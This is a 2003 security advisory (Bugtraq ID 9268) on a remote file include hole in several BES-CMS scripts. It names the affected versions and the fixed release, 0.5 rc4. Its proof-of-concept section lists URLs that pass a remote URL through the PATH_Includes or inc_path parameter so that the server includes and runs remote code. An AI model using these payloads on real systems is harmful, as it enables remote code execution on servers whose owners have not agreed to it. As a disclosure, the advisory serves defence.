BES-CMS Multiple Module File Include Vulnerability

BID:9268

Info

BES-CMS Multiple Module File Include Vulnerability

Bugtraq ID: 9268
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 20 2003 12:00AM
Updated: Dec 20 2003 12:00AM
Credit: The disclosure of this issue has been credited to frog-m@n <[email protected]>.
Vulnerable: BES-CMS BES-CMS 0.5 rc3
BES-CMS BES-CMS 0.4 rc3
Not Vulnerable: BES-CMS BES-CMS 0.5 rc4

Discussion

BES-CMS Multiple Module File Include Vulnerability

It has been reported that BES-CMS is vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem exists in the 'index.inc.php', 'Members/index.inc.php', 'Members/root/index.inc.php', 'Include/functions_folder.php', 'Include/functions_message.php', 'Include/Start.php' scripts of the software.

BES-CMS versions 0.4 rc3 and 0.5 rc3 are reported to be vulnerable to this issue, however other versions may be affected as well.

Exploit / POC

BES-CMS Multiple Module File Include Vulnerability

The following proof of concept examples have been provided:

http://www.example.com/index.inc.php?PATH_Includes=http://www.example.com/

http://www.example.com/Members/index.inc.php?PATH_Includes=http://www.example.com/

http://www.example.com/Members/root/index.inc.php?PATH_Includes=http://www.example.com/

http://www.example.com/Include/functions_folder.php?PATH_Includes=
http://www.example.com/

http://www.example.com/Include/functions_hacking.php?PATH_Includes=
http://www.example.com/&itemID=usershow

http://www.example.com/Include/functions_message.php?PATH_Includes=
http://www.example.com/

http://www.example.com/Include/Start.php?inc_path=http://www.example/

Solution / Fix

BES-CMS Multiple Module File Include Vulnerability

Solution:
The vendor has release BES-CMS 0.5 rc4 to address this issue. Users are advised to download the fixed version.


BES-CMS BES-CMS 0.4 rc3

BES-CMS BES-CMS 0.5 rc3

References

BES-CMS Multiple Module File Include Vulnerability

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